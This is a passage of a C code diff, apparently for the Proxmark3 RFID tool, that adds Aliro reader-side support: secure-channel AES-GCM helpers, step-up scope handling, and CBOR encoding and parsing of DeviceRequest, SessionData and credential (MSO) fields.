16, sizeof(reader_sub_group_hex) - 1, 0, 0, true); + hex_to_buffer((uint8_t *)reader_priv_hex, reader_private_key_raw, 32, sizeof(reader_priv_hex) - 1, 0, 0, true); + hex_to_buffer((uint8_t *)kpersistent_hex, state->standard_result.keys.kpersistent, 32, sizeof(kpersistent_hex) - 1, 0, 0, true); + hex_to_buffer((uint8_t *)endpoint_pub_hex, state->auth1_parsed.endpoint_public_key, 65, sizeof(endpoint_pub_hex) - 1, 0, 0, true); + + int fast_cmd_len = snprintf(out_cmd, out_cmd_size, + "hf aliro read --reader-group-id %s --reader-sub-group-id %s " + "--reader-private-key %s --key-persistent %s " + "--endpoint-public-key %s --flow fast", + reader_group_hex, reader_sub_group_hex, + reader_priv_hex, kpersistent_hex, endpoint_pub_hex); + if (fast_cmd_len <= 0 || (size_t)fast_cmd_len >= out_cmd_size) { + return false; + } + return true; +} + +static void aliro_read_print_fast_suggestion_note(const char *fast_cmd) { + if (fast_cmd == NULL || fast_cmd[0] == '\0') { + return; + } + aliro_print_big_header("Note"); + PrintAndLogEx(INFO, _GREEN_("use the following command to perform FAST authentication flow for this endpoint:")); + PrintAndLogEx(INFO, _YELLOW_("%s"), fast_cmd); +} + +static void aliro_print_bytes_or_ascii(const char *label, const uint8_t *data, size_t data_len) { + if (label == NULL || data == NULL) { + return; + } + if (data_len == 0) { + PrintAndLogEx(INFO, "%s (empty)", label); + return; + } + + if (aliro_is_ascii(data, data_len)) { + PrintAndLogEx(INFO, "%s %s", label, sprint_ascii(data, data_len)); + } else { + PrintAndLogEx(INFO, "%s %s", label, sprint_hex_inrow(data, data_len)); + } +} + +static bool aliro_scope_exists(const aliro_step_up_scopes_t *scopes, const char *scope) { + if (scopes == NULL || scope == NULL) { + return false; + } + for (size_t i = 0; i < scopes->count; i++) { + if (strcmp(scopes->values[i], scope) == 0) { + return true; + } + } + return false; +} + +static int aliro_add_scope(aliro_step_up_scopes_t *scopes, const char *scope) { + if (scopes == NULL || scope == NULL) { + return PM3_EINVARG; + } + if (scope[0] == '\0') { + return PM3_EINVARG; + } + if (strlen(scope) > ALIRO_MAX_STEP_UP_SCOPE_LEN) { + PrintAndLogEx(ERR, "step-up scope `%s` is too long (max %d chars)", scope, ALIRO_MAX_STEP_UP_SCOPE_LEN); + return PM3_EINVARG; + } + if (aliro_scope_exists(scopes, scope)) { + return PM3_SUCCESS; + } + if (scopes->count >= ALIRO_MAX_STEP_UP_SCOPES) { + PrintAndLogEx(ERR, "Too many step-up scopes (max %d)", ALIRO_MAX_STEP_UP_SCOPES); + return PM3_EOVFLOW; + } + + strncat(scopes->values[scopes->count], scope, ALIRO_MAX_STEP_UP_SCOPE_LEN); + scopes->values[scopes->count][ALIRO_MAX_STEP_UP_SCOPE_LEN] = '\0'; + scopes->count++; + return PM3_SUCCESS; +} + +static int aliro_parse_step_up_scopes(struct arg_str *scope_arg, aliro_step_up_scopes_t *scopes) { + if (scopes == NULL) { + return PM3_EINVARG; + } + memset(scopes, 0, sizeof(*scopes)); + + int scope_str_len = 0; + char scope_str[MAX_INPUT_ARG_LENGTH + 1] = {0}; + int res = CLIParamStrToBuf(scope_arg, (uint8_t *)scope_str, sizeof(scope_str), &scope_str_len); + if (res != PM3_SUCCESS) { + return PM3_ESOFT; + } + + if (scope_str_len == 0) { + return aliro_add_scope(scopes, ALIRO_DEFAULT_STEP_UP_SCOPE); + } + + char *saveptr = NULL; + char *token = strtok_r(scope_str, ",", &saveptr); + while (token != NULL) { + while (isspace((unsigned char)*token)) { + token++; + } + + size_t token_len = strlen(token); + while (token_len > 0 && isspace((unsigned char)token[token_len - 1])) { + token[--token_len] = '\0'; + } + + if (token_len == 0) { + PrintAndLogEx(ERR, "step-up scope list contains an empty value"); + return PM3_EINVARG; + } + + res = aliro_add_scope(scopes, token); + if (res != PM3_SUCCESS) { + return res; + } + token = strtok_r(NULL, ",", &saveptr); + } + + if (scopes->count == 0) { + return aliro_add_scope(scopes, ALIRO_DEFAULT_STEP_UP_SCOPE); + } + return PM3_SUCCESS; +} + +static void aliro_print_step_up_scopes(const aliro_step_up_scopes_t *scopes) { + if (scopes == NULL || scopes->count == 0) { + PrintAndLogEx(INFO, "Step-up scopes............ %s", ALIRO_DEFAULT_STEP_UP_SCOPE); + return; + } + + char joined[ALIRO_MAX_BUFFER] = {0}; + for (size_t i = 0; i < scopes->count; i++) { + if (i != 0 && (strlen(joined) + 1) < sizeof(joined)) { + strncat(joined, ",", sizeof(joined) - strlen(joined) - 1); + } + strncat(joined, scopes->values[i], sizeof(joined) - strlen(joined) - 1); + } + PrintAndLogEx(INFO, "Step-up scopes............ %s", joined); +} + +static int aliro_secure_channel_encrypt_reader_payload(const uint8_t sk_reader[32], uint32_t *reader_counter, + const uint8_t *plaintext, size_t plaintext_len, + uint8_t *ciphertext, size_t ciphertext_max, size_t *ciphertext_len) { + if (sk_reader == NULL || reader_counter == NULL || plaintext == NULL || + ciphertext == NULL || ciphertext_len == NULL) { + return PM3_EINVARG; + } + + uint8_t iv[12] = {0}; + aliro_build_secure_channel_iv(ALIRO_SECURE_CHANNEL_READER_MODE, *reader_counter, iv); + int res = aliro_aes_gcm_encrypt(sk_reader, iv, sizeof(iv), + plaintext, plaintext_len, + ciphertext, ciphertext_max, ciphertext_len); + if (res == PM3_SUCCESS) { + (*reader_counter)++; + } + return res; +} + +static int aliro_secure_channel_decrypt_device_payload(const uint8_t sk_device[32], uint32_t *device_counter, + const uint8_t *ciphertext, size_t ciphertext_len, + uint8_t *plaintext, size_t plaintext_max, size_t *plaintext_len) { + if (sk_device == NULL || device_counter == NULL || ciphertext == NULL || + plaintext == NULL || plaintext_len == NULL) { + return PM3_EINVARG; + } + if (ciphertext_len < 16 || (ciphertext_len - 16) > plaintext_max) { + return PM3_EINVARG; + } + + uint8_t iv[12] = {0}; + aliro_build_secure_channel_iv(ALIRO_SECURE_CHANNEL_DEVICE_MODE, *device_counter, iv); + int res = aliro_aes_gcm_decrypt(sk_device, iv, sizeof(iv), ciphertext, ciphertext_len, plaintext); + if (res == PM3_SUCCESS) { + (*device_counter)++; + *plaintext_len = ciphertext_len - 16; + } + return res; +} + +static bool aliro_cbor_key_equals(const CborValue *key, int int_key, const char *text_key) { + if (key == NULL) { + return false; + } + + if (cbor_value_is_integer(key)) { + int64_t v = 0; + if (cbor_value_get_int64(key, &v) == CborNoError && v == int_key) { + return true; + } + } + + if (text_key != NULL && cbor_value_is_text_string(key)) { + bool matches = false; + if (cbor_value_text_string_equals(key, text_key, &matches) == CborNoError && matches) { + return true; + } + } + return false; +} + +static bool aliro_cbor_dup_text(const CborValue *value, char **out_text, size_t *out_len) { + if (value == NULL || out_text == NULL || out_len == NULL || cbor_value_is_text_string(value) == false) { + return false; + } + + char *text = NULL; + size_t len = 0; + CborValue copy = *value; + if (cbor_value_dup_text_string(©, &text, &len, NULL) != CborNoError) { + return false; + } + *out_text = text; + *out_len = len; + return true; +} + +static bool aliro_cbor_dup_bytes(const CborValue *value, uint8_t **out_data, size_t *out_len) { + if (value == NULL || out_data == NULL || out_len == NULL || cbor_value_is_byte_string(value) == false) { + return false; + } + + uint8_t *data = NULL; + size_t len = 0; + CborValue copy = *value; + if (cbor_value_dup_byte_string(©, &data, &len, NULL) != CborNoError) { + return false; + } + *out_data = data; + *out_len = len; + return true; +} + +#define ALIRO_CBOR_WALK_BREAK 1 + +typedef int (*aliro_cbor_map_entry_cb_t)(const CborValue *key, const CborValue *value, void *ctx); + +typedef enum { + ALIRO_CBOR_PRINT_SCALAR = 0, + ALIRO_CBOR_PRINT_SCALAR_OR_TYPE = 1, + ALIRO_CBOR_PRINT_TYPE = 2, +} aliro_cbor_print_mode_t; + +typedef struct { + size_t indent; +} aliro_print_format_t; + +static const char ALIRO_PRINT_DOTS[] = "........................................................"; +static const size_t ALIRO_PRINT_KEY_WIDTH = 24; + +static int aliro_cbor_walk_map(const CborValue *map_value, aliro_cbor_map_entry_cb_t entry_cb, void *ctx) { + if (map_value == NULL || entry_cb == NULL || cbor_value_is_map(map_value) == false) { + return PM3_EINVARG; + } + + CborValue it; + if (cbor_value_enter_container(map_value, &it) != CborNoError) { + return PM3_ESOFT; + } + + while (!cbor_value_at_end(&it)) { + CborValue key = it; + if (cbor_value_advance(&it) != CborNoError || cbor_value_at_end(&it)) { + return PM3_ESOFT; + } + + CborValue value = it; + int cb_res = entry_cb(&key, &value, ctx); + if (cb_res < PM3_SUCCESS) { + return cb_res; + } + if (cb_res == ALIRO_CBOR_WALK_BREAK) { + return PM3_SUCCESS; + } + + CborValue next = it; + if (cbor_value_skip_tag(&next) != CborNoError) { + return PM3_ESOFT; + } + if (cbor_value_advance(&next) != CborNoError) { + return PM3_ESOFT; + } + it = next; + } + + return PM3_SUCCESS; +} + +static void aliro_print_make_label(const aliro_print_format_t *fmt, const char *key, char *out, size_t out_size) { + if (out == NULL || out_size == 0) { + return; + } + + size_t indent = (fmt != NULL) ? fmt->indent : 0; + size_t key_len = (key != NULL) ? strlen(key) : 0; + size_t dots = (ALIRO_PRINT_KEY_WIDTH > key_len) ? (ALIRO_PRINT_KEY_WIDTH - key_len) : 1; + if (dots > (sizeof(ALIRO_PRINT_DOTS) - 1)) { + dots = sizeof(ALIRO_PRINT_DOTS) - 1; + } + + snprintf(out, out_size, "%*s%s%.*s", (int)indent, "", key != NULL ? key : "", (int)dots, ALIRO_PRINT_DOTS); +} + +static aliro_print_format_t aliro_print_fmt_child(const aliro_print_format_t *fmt, size_t indent_add) { + aliro_print_format_t child = { + .indent = (fmt != NULL) ? (fmt->indent + indent_add) : indent_add, + }; + return child; +} + +static void aliro_print_heading_fmt(const aliro_print_format_t *fmt, const char *text) { + size_t indent = (fmt != NULL) ? fmt->indent : 0; + PrintAndLogEx(INFO, "%*s%s", (int)indent, "", text != NULL ? text : ""); +} + +static bool aliro_cbor_print_scalar_fmt(const aliro_print_format_t *fmt, const char *key, const CborValue *value) { + char label[96] = {0}; + aliro_print_make_label(fmt, key, label, sizeof(label)); + return aliro_cbor_print_scalar(label, value); +} + +static void aliro_cbor_print_type_fmt(const aliro_print_format_t *fmt, const char *key, const CborValue *value) { + if (value == NULL) { + return; + } + char label[96] = {0}; + aliro_print_make_label(fmt, key, label, sizeof(label)); + PrintAndLogEx(INFO, "%s <%s>", label, aliro_cbor_type_name(cbor_value_get_type(value))); +} + +typedef struct { + int int_key; + const char *text_key; + const char *key; + aliro_cbor_print_mode_t mode; +} aliro_cbor_fmt_dispatch_t; + +static int aliro_cbor_dispatch_print_fmt(const aliro_print_format_t *fmt, + const CborValue *key, const CborValue *value, + const aliro_cbor_fmt_dispatch_t *dispatch, size_t dispatch_count) { + if (key == NULL || value == NULL || dispatch == NULL) { + return PM3_EINVARG; + } + + for (size_t i = 0; i < dispatch_count; i++) { + const aliro_cbor_fmt_dispatch_t *entry = &dispatch[i]; + if (!aliro_cbor_key_equals(key, entry->int_key, entry->text_key)) { + continue; + } + + if (entry->mode == ALIRO_CBOR_PRINT_SCALAR) { + (void)aliro_cbor_print_scalar_fmt(fmt, entry->key, value); + return PM3_SUCCESS; + } + if (entry->mode == ALIRO_CBOR_PRINT_SCALAR_OR_TYPE) { + if (!aliro_cbor_print_scalar_fmt(fmt, entry->key, value)) { + aliro_cbor_print_type_fmt(fmt, entry->key, value); + } + return PM3_SUCCESS; + } + if (entry->mode == ALIRO_CBOR_PRINT_TYPE) { + aliro_cbor_print_type_fmt(fmt, entry->key, value); + return PM3_SUCCESS; + } + return PM3_EINVARG; + } + + return PM3_SUCCESS; +} + +static int aliro_step_up_build_device_request(const char *const *document_types, size_t document_type_count, + const aliro_step_up_scopes_t *scopes, + uint8_t *out, size_t out_size, size_t *out_len) { + if (document_types == NULL || document_type_count == 0 || scopes == NULL || + out == NULL || out_len == NULL) { + return PM3_EINVARG; + } + + CborEncoder root; + CborEncoder request_map; + CborEncoder request_array; + cbor_encoder_init(&root, out, out_size, 0); + + CborError err = cbor_encoder_create_map(&root, &request_map, 2); + if (err != CborNoError) { + return PM3_ESOFT; + } + + err = cbor_encode_text_stringz(&request_map, "1"); + if (err == CborNoError) { + err = cbor_encode_text_stringz(&request_map, "1.0"); + } + if (err == CborNoError) { + err = cbor_encode_text_stringz(&request_map, "2"); + } + if (err == CborNoError) { + err = cbor_encoder_create_array(&request_map, &request_array, document_type_count); + } + + for (size_t i = 0; err == CborNoError && i < document_type_count; i++) { + uint8_t inner_map_buf[ALIRO_MAX_BUFFER] = {0}; + CborEncoder inner_root; + CborEncoder inner_map; + CborEncoder nested_doc_type_map; + CborEncoder scope_map; + cbor_encoder_init(&inner_root, inner_map_buf, sizeof(inner_map_buf), 0); + + err = cbor_encoder_create_map(&inner_root, &inner_map, 2); + if (err == CborNoError) { + err = cbor_encode_text_stringz(&inner_map, "1"); + } + if (err == CborNoError) { + err = cbor_encoder_create_map(&inner_map, &nested_doc_type_map, 1); + } + if (err == CborNoError) { + err = cbor_encode_text_stringz(&nested_doc_type_map, document_types[i]); + } + if (err == CborNoError) { + err = cbor_encoder_create_map(&nested_doc_type_map, &scope_map, scopes->count); + } + for (size_t scope_idx = 0; err == CborNoError && scope_idx < scopes->count; scope_idx++) { + err = cbor_encode_text_stringz(&scope_map, scopes->values[scope_idx]); + if (err == CborNoError) { + err = cbor_encode_boolean(&scope_map, true); + } + } + if (err == CborNoError) { + err = cbor_encoder_close_container(&nested_doc_type_map, &scope_map); + } + if (err == CborNoError) { + err = cbor_encoder_close_container(&inner_map, &nested_doc_type_map); + } + if (err == CborNoError) { + err = cbor_encode_text_stringz(&inner_map, "5"); + } + if (err == CborNoError) { + err = cbor_encode_text_stringz(&inner_map, document_types[i]); + } + if (err == CborNoError) { + err = cbor_encoder_close_container(&inner_root, &inner_map); + } + if (err != CborNoError) { + break; + } + + size_t inner_len = cbor_encoder_get_buffer_size(&inner_root, inner_map_buf); + + CborEncoder document_request_map; + err = cbor_encoder_create_map(&request_array, &document_request_map, 1); + if (err == CborNoError) { + err = cbor_encode_text_stringz(&document_request_map, "1"); + } + if (err == CborNoError) { + err = cbor_encode_tag(&document_request_map, 24); + } + if (err == CborNoError) { + err = cbor_encode_byte_string(&document_request_map, inner_map_buf, inner_len); + } + if (err == CborNoError) { + err = cbor_encoder_close_container(&request_array, &document_request_map); + } + } + + if (err == CborNoError) { + err = cbor_encoder_close_container(&request_map, &request_array); + } + if (err == CborNoError) { + err = cbor_encoder_close_container(&root, &request_map); + } + if (err != CborNoError) { + PrintAndLogEx(ERR, "Failed to encode step-up DeviceRequest CBOR (%s)", cbor_error_string(err)); + return PM3_ESOFT; + } + + *out_len = cbor_encoder_get_buffer_size(&root, out); + return PM3_SUCCESS; +} + +static int aliro_step_up_wrap_session_data(const uint8_t *ciphertext, size_t ciphertext_len, + uint8_t *out, size_t out_size, size_t *out_len) { + if (ciphertext == NULL || out == NULL || out_len == NULL) { + return PM3_EINVARG; + } + + CborEncoder root; + CborEncoder map; + cbor_encoder_init(&root, out, out_size, 0); + + CborError err = cbor_encoder_create_map(&root, &map, 1); + if (err == CborNoError) { + err = cbor_encode_text_stringz(&map, "data"); + } + if (err == CborNoError) { + err = cbor_encode_byte_string(&map, ciphertext, ciphertext_len); + } + if (err == CborNoError) { + err = cbor_encoder_close_container(&root, &map); + } + if (err != CborNoError) { + PrintAndLogEx(ERR, "Failed to encode SessionData CBOR (%s)", cbor_error_string(err)); + return PM3_ESOFT; + } + + *out_len = cbor_encoder_get_buffer_size(&root, out); + return PM3_SUCCESS; +} + +static int aliro_step_up_extract_envelope_message(const uint8_t *response, size_t response_len, + const uint8_t **message, size_t *message_len) { + if (response == NULL || message == NULL || message_len == NULL) { + return PM3_EINVARG; + } + + const uint8_t *cursor = response; + size_t left = response_len; + while (left > 0) { + struct tlv tlv = {0}; + if (tlv_parse_tl(&cursor, &left, &tlv) == false || tlv.len > left) { + return PM3_ECARDEXCHANGE; + } + + if (tlv.tag == 0x53) { + *message = cursor; + *message_len = tlv.len; + return PM3_SUCCESS; + } + + cursor += tlv.len; + left -= tlv.len; + } + + return PM3_ESOFT; +} + +typedef struct { + uint8_t *ciphertext; + size_t ciphertext_max; + size_t *ciphertext_len; + bool found; +} aliro_step_up_session_data_ctx_t; + +static int aliro_step_up_extract_session_data_ciphertext_entry(const CborValue *key, const CborValue *value, void *ctx_ptr) { + aliro_step_up_session_data_ctx_t *ctx = (aliro_step_up_session_data_ctx_t *)ctx_ptr; + if (ctx == NULL || key == NULL || value == NULL) { + return PM3_EINVARG; + } + + if (!aliro_cbor_key_equals(key, -1, "data") || cbor_value_is_byte_string(value) == false) { + return PM3_SUCCESS; + } + + uint8_t *tmp = NULL; + size_t tmp_len = 0; + if (aliro_cbor_dup_bytes(value, &tmp, &tmp_len) == false) { + return PM3_ESOFT; + } + if (tmp_len > ctx->ciphertext_max) { + free(tmp); + return PM3_EOVFLOW; + } + + memcpy(ctx->ciphertext, tmp, tmp_len); + *ctx->ciphertext_len = tmp_len; + ctx->found = true; + free(tmp); + return ALIRO_CBOR_WALK_BREAK; +} + +static int aliro_step_up_extract_session_data_ciphertext(const uint8_t *message, size_t message_len, + uint8_t *ciphertext, size_t ciphertext_max, + size_t *ciphertext_len) { + if (message == NULL || ciphertext == NULL || ciphertext_len == NULL) { + return PM3_EINVARG; + } + + CborParser parser; + CborValue root; + CborError err = cbor_parser_init(message, message_len, 0, &parser, &root); + if (err != CborNoError || cbor_value_is_map(&root) == false) { + return PM3_ESOFT; + } + + aliro_step_up_session_data_ctx_t ctx = { + .ciphertext = ciphertext, + .ciphertext_max = ciphertext_max, + .ciphertext_len = ciphertext_len, + .found = false, + }; + + int res = aliro_cbor_walk_map(&root, aliro_step_up_extract_session_data_ciphertext_entry, &ctx); + if (res != PM3_SUCCESS) { + return res; + } + + return ctx.found ? PM3_SUCCESS : PM3_ESOFT; +} + +static const char *aliro_cbor_type_name(CborType type) { + switch (type) { + case CborIntegerType: + return "integer"; + case CborByteStringType: + return "bytes"; + case CborTextStringType: + return "text"; + case CborArrayType: + return "array"; + case CborMapType: + return "map"; + case CborTagType: + return "tag"; + case CborSimpleType: + return "simple"; + case CborBooleanType: + return "bool"; + case CborNullType: + return "null"; + case CborUndefinedType: + return "undefined"; + case CborInvalidType: + return "invalid"; + case CborDoubleType: + case CborFloatType: + case CborHalfFloatType: + return "float"; + default: + return "unknown"; + } +} + +static const char *aliro_cose_algorithm_name(int64_t algorithm) { + if (algorithm == -7) { + return "ES256 (ECDSA w/ SHA-256)"; + } + return "unsupported"; +} + +static bool aliro_cbor_print_scalar(const char *label, const CborValue *value) { + if (label == NULL || value == NULL) { + return false; + } + + CborValue cursor = *value; + bool has_tag = false; + CborTag tag = 0; + if (cbor_value_get_type(&cursor) == CborTagType) { + has_tag = true; + if (cbor_value_get_tag(&cursor, &tag) != CborNoError) { + return false; + } + if (cbor_value_advance_fixed(&cursor) != CborNoError) { + return false; + } + } + + if (has_tag && tag == 0 && cbor_value_is_text_string(&cursor)) { + char *text = NULL; + size_t text_len = 0; + if (aliro_cbor_dup_text(&cursor, &text, &text_len)) { + PrintAndLogEx(INFO, "%s %s", label, text); + free(text); + return true; + } + return false; + } + + if (cbor_value_is_integer(&cursor)) { + int64_t iv = 0; + if (cbor_value_get_int64(&cursor, &iv) == CborNoError) { + PrintAndLogEx(INFO, "%s %" PRId64, label, iv); + return true; + } + return false; + } + + if (cbor_value_is_text_string(&cursor)) { + char *text = NULL; + size_t text_len = 0; + if (aliro_cbor_dup_text(&cursor, &text, &text_len)) { + PrintAndLogEx(INFO, "%s %s", label, text); + free(text); + return true; + } + return false; + } + + if (cbor_value_is_boolean(&cursor)) { + bool b = false; + if (cbor_value_get_boolean(&cursor, &b) == CborNoError) { + PrintAndLogEx(INFO, "%s %s", label, b ? "true" : "false"); + return true; + } + return false; + } + + if (cbor_value_is_byte_string(&cursor)) { + uint8_t *bytes = NULL; + size_t bytes_len = 0; + if (aliro_cbor_dup_bytes(&cursor, &bytes, &bytes_len)) { + aliro_print_bytes_or_ascii(label, bytes, bytes_len); + free(bytes); + return true; + } + return false; + } + + if (cbor_value_is_null(&cursor)) { + PrintAndLogEx(INFO, "%s null", label); + return true; + } + + if (cbor_value_is_undefined(&cursor)) { + PrintAndLogEx(INFO, "%s undefined", label); + return true; + } + + return false; +} + +static int aliro_cbor_extract_tag24_bytes(const CborValue *value, uint8_t **decoded, size_t *decoded_len) { + if (value == NULL || decoded == NULL || decoded_len == NULL) { + return PM3_EINVARG; + } + + CborValue cursor = *value; + if (cbor_value_get_type(&cursor) == CborTagType) { + CborTag tag = 0; + if (cbor_value_get_tag(&cursor, &tag) != CborNoError || tag != 24) { + return PM3_ESOFT; + } + if (cbor_value_advance_fixed(&cursor) != CborNoError) { + return PM3_ESOFT; + } + } + + if (cbor_value_is_byte_string(&cursor) == false) { + return PM3_ESOFT; + } + + uint8_t *tmp = NULL; + size_t tmp_len = 0; + if (aliro_cbor_dup_bytes(&cursor, &tmp, &tmp_len) == false) { + return PM3_ESOFT; + } + + *decoded = tmp; + *decoded_len = tmp_len; + return PM3_SUCCESS; +} + +typedef enum { + ALIRO_CBOR_DECODE_DIRECT = 0, + ALIRO_CBOR_DECODE_TAG24 = 1, + ALIRO_CBOR_DECODE_TAG24_INVALID = 2, + ALIRO_CBOR_DECODE_NOT_TAG24 = 3, +} aliro_cbor_decode_state_t; + +typedef struct { + aliro_cbor_decode_state_t state; + uint8_t *decoded_buf; + size_t decoded_len; + CborParser parser; + CborValue value; +} aliro_cbor_decoded_value_t; + +static void aliro_cbor_decoded_value_free(aliro_cbor_decoded_value_t *decoded) { + if (decoded == NULL) { + return; + } + free(decoded->decoded_buf); + memset(decoded, 0, sizeof(*decoded)); +} + +static int aliro_cbor_decode_value_as_type(const CborValue *input, CborType expected_type, + aliro_cbor_decoded_value_t *decoded) { + if (input == NULL || decoded == NULL) { + return PM3_EINVARG; + } + + memset(decoded, 0, sizeof(*decoded)); + decoded->value = *input; + if (cbor_value_get_type(&decoded->value) == expected_type) { + decoded->state = ALIRO_CBOR_DECODE_DIRECT; + return PM3_SUCCESS; + } + + int res = aliro_cbor_extract_tag24_bytes(input, &decoded->decoded_buf, &decoded->decoded_len); + if (res != PM3_SUCCESS) { + decoded->state = ALIRO_CBOR_DECODE_NOT_TAG24; + return res; + } + + if (cbor_parser_init(decoded->decoded_buf, decoded->decoded_len, 0, &decoded->parser, &decoded->value) != CborNoError || + cbor_value_get_type(&decoded->value) != expected_type) { + decoded->state = ALIRO_CBOR_DECODE_TAG24_INVALID; + return PM3_ESOFT; + } + + decoded->state = ALIRO_CBOR_DECODE_TAG24; + return PM3_SUCCESS; +} + +static int aliro_step_up_print_access_data_entry(const CborValue *key, const CborValue *value, void *ctx) { + const aliro_print_format_t *fmt = (const aliro_print_format_t *)ctx; + if (fmt == NULL) { + return PM3_EINVARG; + } + + static const aliro_cbor_fmt_dispatch_t dispatch[] = { + {0, "0", "AccessData version", ALIRO_CBOR_PRINT_SCALAR_OR_TYPE}, + {1, "1", "AccessData id", ALIRO_CBOR_PRINT_SCALAR_OR_TYPE}, + {2, "2", "AccessData rules", ALIRO_CBOR_PRINT_TYPE}, + {3, "3", "AccessData schedules", ALIRO_CBOR_PRINT_TYPE}, + {4, "4", "AccessData rule IDs", ALIRO_CBOR_PRINT_TYPE}, + {5, "5", "AccessData non-access", ALIRO_CBOR_PRINT_TYPE}, + {6, "6", "AccessData extensions", ALIRO_CBOR_PRINT_TYPE}, + }; + return aliro_cbor_dispatch_print_fmt(fmt, key, value, dispatch, ARRAYLEN(dispatch)); +} + +static void aliro_step_up_print_access_data_map(const CborValue *access_data, const aliro_print_format_t *fmt) { + if (access_data == NULL || fmt == NULL || cbor_value_is_map(access_data) == false) { + return; + } + + (void)aliro_cbor_walk_map(access_data, aliro_step_up_print_access_data_entry, (void *)fmt); +} + +static int aliro_step_up_print_issuer_auth_protected_entry(const CborValue *key, const CborValue *value, void *ctx) { + const aliro_print_format_t *fmt = (const aliro_print_format_t *)ctx; + if (fmt == NULL) { + return PM3_EINVARG; + } + if (!aliro_cbor_key_equals(key, 1, "1")) { + return PM3_SUCCESS; + } + + char label[96] = {0}; + aliro_print_make_label(fmt, "signature algorithm", label, sizeof(label)); + + int64_t algorithm = 0; + if (cbor_value_is_integer(value) && cbor_value_get_int64(value, &algorithm) == CborNoError) { + PrintAndLogEx(INFO, "%s %" PRId64 " (%s)", + label, algorithm, aliro_cose_algorithm_name(algorithm)); + } else { + (void)aliro_cbor_print_scalar_fmt(fmt, "signature algorithm", value); + } + return PM3_SUCCESS; +} + +static int aliro_step_up_print_issuer_auth_unprotected_entry(const CborValue *key, const CborValue *value, void *ctx) { + const aliro_print_format_t *fmt = (const aliro_print_format_t *)ctx; + if (fmt == NULL) { + return PM3_EINVARG; + } + if (aliro_cbor_key_equals(key, 4, "4")) { + (void)aliro_cbor_print_scalar_fmt(fmt, "issuer_id", value); + } + return PM3_SUCCESS; +} + +static int aliro_step_up_print_mso_validity_entry(const CborValue *key, const CborValue *value, void *ctx) { + const aliro_print_format_t *fmt = (const aliro_print_format_t *)ctx; + if (fmt == NULL) { + return PM3_EINVARG; + } + + static const aliro_cbor_fmt_dispatch_t dispatch[] = { + {1, "1", "signed", ALIRO_CBOR_PRINT_SCALAR}, + {2, "2", "valid from", ALIRO_CBOR_PRINT_SCALAR}, + {3, "3", "valid until", ALIRO_CBOR_PRINT_SCALAR}, + {4, "4", "expected update", ALIRO_CBOR_PRINT_SCALAR}, + }; + return aliro_cbor_dispatch_print_fmt(fmt, key, value, dispatch, ARRAYLEN(dispatch)); +} + +typedef struct { + bool have_algorithm; + int64_t algorithm; + bool have_x; + uint8_t x[32]; + bool have_y; + uint8_t y[32]; +} aliro_cose_ec2_key_info_t; + +static int aliro_step_up_collect_cose_key_entry(const CborValue *key, const CborValue *value, void *ctx_ptr) { + aliro_cose_ec2_key_info_t *info = (aliro_cose_ec2_key_info_t *)ctx_ptr; + if (info == NULL || key == NULL || value == NULL) { + return PM3_EINVARG; + } + + if (aliro_cbor_key_equals(key, 3, "3")) { + int64_t algorithm = 0; + if (cbor_value_is_integer(value) && cbor_value_get_int64(value, &algorithm) == CborNoError) { + info->have_algorithm = true; + info->algorithm = algorithm; + } + return PM3_SUCCESS; + } + + if (aliro_cbor_key_equals(key, -2, "-2")) { + uint8_t *x = NULL; + size_t x_len = 0; + if (cbor_value_is_byte_string(value) && aliro_cbor_dup_bytes(value, &x, &x_len) && x_len == sizeof(info->x)) { + memcpy(info->x, x, sizeof(info->x)); + info->have_x = true; + } + free(x); + return PM3_SUCCESS; + } + + if (aliro_cbor_key_equals(key, -3, "-3")) { + uint8_t *y = NULL; + size_t y_len = 0; + if (cbor_value_is_byte_string(value) && aliro_cbor_dup_bytes(value, &y, &y_len) && y_len == sizeof(info->y)) { + memcpy(info->y, y, sizeof(info->y)); + info->have_y = true; + } + free(y); + return PM3_SUCCESS; + } + + return PM3_SUCCESS; +} + +typedef struct { + bool have_device_key; + CborValue device_key; +} aliro_mso_device_key_info_ctx_t; + +static int aliro_step_up_collect_mso_device_key_info_entry(const CborValue *key, const CborValue *value, void *ctx_ptr) { + aliro_mso_device_key_info_ctx_t *ctx = (aliro_mso_device_key_info_ctx_t *)ctx_ptr; + if (ctx == NULL || key == NULL || value == NULL) { + return PM3_EINVARG; + } + + if (aliro_cbor_key_equals(key, 1, "1") && cbor_value_is_map(value)) { + ctx->have_device_key = true; + ctx->device_key = *value; + return ALIRO_CBOR_WALK_BREAK; + } + + return PM3_SUCCESS; +} + +static void aliro_step_up_print_mso_device_key_info(const CborValue *device_key_info, const aliro_print_format_t *fmt) { + if (device_key_info == NULL || fmt == NULL || cbor_value_is_map(device_key_info) == false) { + return; + } + + aliro_mso_device_key_info_ctx_t key_info_ctx = {0}; + if (aliro_cbor_walk_map(device_key_info, aliro_step_up_collect_mso_device_key_info_entry, &key_info_ctx) != PM3_SUCCESS || + !key_info_ctx.have_device_key || cbor_value_is_map(&key_info_ctx.device_key) == false) { + return; + } + + aliro_cose_ec2_key_info_t cose_info = {0}; + if (aliro_cbor_walk_map(&key_info_ctx.device_key, aliro_step_up_collect_cose_key_entry, &cose_info) != PM3_SUCCESS) { + return; + } + + if (cose_info.have_algorithm) { + char label[96] = {0}; + aliro_print_make_label(fmt, "device key alg", label, sizeof(label)); + PrintAndLogEx(INFO, "%s %" PRId64 " (%s)", + label, cose_info.algorithm, aliro_cose_algorithm_name(cose_info.algorithm)); + } + + if (cose_info.have_x && cose_info.have_y) { + uint8_t uncompressed_key[65] = {0}; + uncompressed_key[0] = 0x04; + memcpy(uncompressed_key + 1, cose_info.x, sizeof(cose_info.x)); + memcpy(uncompressed_key + 1 + sizeof(cose_info.x), cose_info.y, sizeof(cose_info.y)); + char label[96] = {0}; + aliro_print_make_label(fmt, "device pubkey", label, sizeof(label)); + PrintAndLogEx(INFO, "%s %s", label, sprint_hex_inrow(uncompressed_key, sizeof(uncompressed_key))); + } +} + +static int aliro_step_up_print_mso_entry(const CborValue *key, const CborValue *value, void *ctx) { + const aliro_print_format_t *fmt = (const aliro_print_format_t *)ctx; + if (fmt == NULL) { + return PM3_EINVARG; + } + + static const aliro_cbor_fmt_dispatch_t dispatch[] = { + {1, "1", "version", ALIRO_CBOR_PRINT_SCALAR}, + {2, "2", "digest algorithm", ALIRO_CBOR_PRINT_SCALAR}, + {5, "5", "docType", ALIRO_CBOR_PRINT_SCALAR}, + {7, "7", "time verify required", ALIRO_CBOR_PRINT_SCALAR}, + }; + + if (aliro_cbor_key_equals(key, 6, "6") && cbor_value_is_map(value)) { + aliro_print_heading_fmt(fmt, "validity:"); + aliro_print_format_t 